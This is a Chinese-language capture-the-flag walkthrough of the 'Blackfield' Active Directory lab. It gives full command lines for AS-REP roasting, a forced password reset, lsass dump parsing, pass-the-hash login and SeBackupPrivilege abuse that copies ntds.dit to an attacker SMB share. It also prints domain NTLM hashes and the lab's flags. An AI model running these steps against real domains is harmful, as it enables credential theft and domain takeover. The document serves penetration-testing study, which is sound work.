Blackfield AD域+SMB+AS-REP+bloodhound+SRPC密码重置+内存取证+SeBackupPrivilege权限提升+ntds.dit+reg_system-AD域密码提取
字数 1319 2025-08-20 18:18:10

Blackfield域渗透实战教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.192 --min-rate 1000 -sC -sV -Pn

发现开放端口:

  • 53/tcp: DNS服务
  • 88/tcp: Kerberos服务
  • 135/tcp: MSRPC
  • 389/tcp: LDAP
  • 445/tcp: SMB
  • 593/tcp: RPC over HTTP
  • 3268/tcp: LDAP全局目录
  • 5985/tcp: WinRM

1.2 SMB枚举

使用smbmap枚举共享:

smbmap -H 10.10.10.192 -u 1 -r

2. AS-REP Roasting攻击

2.1 获取用户列表

从SMB枚举结果中提取用户名列表,保存到/tmp/users.txt

2.2 执行AS-REP Roasting

for user in $(cat /tmp/users.txt); do 
    impacket-GetNPUsers -no-pass -dc-ip 10.10.10.192 blackfield.local/$user | grep krb5asrep; 
done

2.3 破解哈希

使用hashcat破解获取的AS-REP哈希:

hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt --force

成功获取凭据:

  • 用户名: support
  • 密码: #00^BlackKnight

3. 初始访问

3.1 验证凭据

使用crackmapexec验证WinRM访问:

crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight'

3.2 LDAP查询

执行基本LDAP查询:

ldapsearch -H ldap://10.10.10.192 -x -s base namingcontexts

使用support账户进行详细查询:

ldapsearch -H ldap://10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight'

4. BloodHound分析

使用BloodHound.py收集域信息:

python3.12 bloodhound.py -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192

分析发现:

  • AUDIT2020账户支持强制修改密码

5. 密码重置攻击

5.1 使用rpcclient重置密码

rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "RES@123"'

5.2 验证新凭据

crackmapexec winrm 10.10.10.192 -u audit2020 -p 'RES@123'

6. 内存取证提取哈希

6.1 访问SMB共享

smbmap -H 10.10.10.192 -u audit2020 -p 'RES@123' -r

发现memory_analysis目录中的lsass.zip文件

6.2 下载并分析内存转储

smb: \> cd memory_analysis
smb: \memory_analysis\> get lsass.zip
unzip lsass.zip
pypykatz lsa minidump lsass.DMP

6.3 使用提取的哈希

获取svc_backup账户的NTLM哈希:

9658d1d1dcd9250115e2205d9f48400d

使用evil-winrm连接:

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

获取user.txt:

3920bb317a0bef51027e2852be64b543

7. 权限提升(SeBackupPrivilege)

7.1 检查用户权限

whoami /priv

确认拥有SeBackupPrivilege权限

7.2 使用SeBackupPrivilege工具

上传必要的DLL文件:

upload SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

7.3 提取ntds.dit和SYSTEM注册表

设置SMB共享:

impacket-smbserver share /tmp/ -smb2support

从目标系统复制文件:

Copy-FileSeBackupPrivilege z:\Windows\ntds\ntds.dit \\10.10.16.9\share\ntds.dit
reg.exe save hklm\system \\10.10.16.9\share\system

7.4 提取域哈希

使用impacket-secretsdump:

impacket-secretsdump -system ./system -ntds ./ntds.dit LOCAL

获取的哈希包括:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::

7.5 获取root.txt

4375a629c7c67c8e29db269060c955cb

8. 关键知识点总结

  1. AS-REP Roasting: 针对未启用Kerberos预认证的账户的攻击方法

  2. 密码重置攻击: 利用rpcclient的setuserinfo2功能强制修改用户密码

  3. 内存取证: 通过分析lsass.exe进程内存转储提取凭证

  4. SeBackupPrivilege利用:

    • 允许读取系统上的任何文件
    • 可用于提取ntds.dit和SYSTEM注册表
    • 结合impacket-secretsdump可提取域哈希
  5. 域渗透路径:

    • 信息收集 → AS-REP Roasting → 密码重置 → 内存取证 → 权限提升 → 域控接管
  6. 工具链:

    • Nmap: 初始扫描
    • smbmap: SMB枚举
    • impacket工具集: AS-REP Roasting, secretsdump等
    • BloodHound: 域关系分析
    • pypykatz: 内存凭证提取
    • SeBackupPrivilege工具: 特权利用
Blackfield域渗透实战教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 发现开放端口: 53/tcp: DNS服务 88/tcp: Kerberos服务 135/tcp: MSRPC 389/tcp: LDAP 445/tcp: SMB 593/tcp: RPC over HTTP 3268/tcp: LDAP全局目录 5985/tcp: WinRM 1.2 SMB枚举 使用smbmap枚举共享: 2. AS-REP Roasting攻击 2.1 获取用户列表 从SMB枚举结果中提取用户名列表,保存到/tmp/users.txt 2.2 执行AS-REP Roasting 2.3 破解哈希 使用hashcat破解获取的AS-REP哈希: 成功获取凭据: 用户名: support 密码: #00^BlackKnight 3. 初始访问 3.1 验证凭据 使用crackmapexec验证WinRM访问: 3.2 LDAP查询 执行基本LDAP查询: 使用support账户进行详细查询: 4. BloodHound分析 使用BloodHound.py收集域信息: 分析发现: AUDIT2020账户支持强制修改密码 5. 密码重置攻击 5.1 使用rpcclient重置密码 5.2 验证新凭据 6. 内存取证提取哈希 6.1 访问SMB共享 发现memory_ analysis目录中的lsass.zip文件 6.2 下载并分析内存转储 6.3 使用提取的哈希 获取svc_ backup账户的NTLM哈希: 使用evil-winrm连接: 获取user.txt: 7. 权限提升(SeBackupPrivilege) 7.1 检查用户权限 确认拥有SeBackupPrivilege权限 7.2 使用SeBackupPrivilege工具 上传必要的DLL文件: 7.3 提取ntds.dit和SYSTEM注册表 设置SMB共享: 从目标系统复制文件: 7.4 提取域哈希 使用impacket-secretsdump: 获取的哈希包括: 7.5 获取root.txt 8. 关键知识点总结 AS-REP Roasting : 针对未启用Kerberos预认证的账户的攻击方法 密码重置攻击 : 利用rpcclient的setuserinfo2功能强制修改用户密码 内存取证 : 通过分析lsass.exe进程内存转储提取凭证 SeBackupPrivilege利用 : 允许读取系统上的任何文件 可用于提取ntds.dit和SYSTEM注册表 结合impacket-secretsdump可提取域哈希 域渗透路径 : 信息收集 → AS-REP Roasting → 密码重置 → 内存取证 → 权限提升 → 域控接管 工具链 : Nmap: 初始扫描 smbmap: SMB枚举 impacket工具集: AS-REP Roasting, secretsdump等 BloodHound: 域关系分析 pypykatz: 内存凭证提取 SeBackupPrivilege工具: 特权利用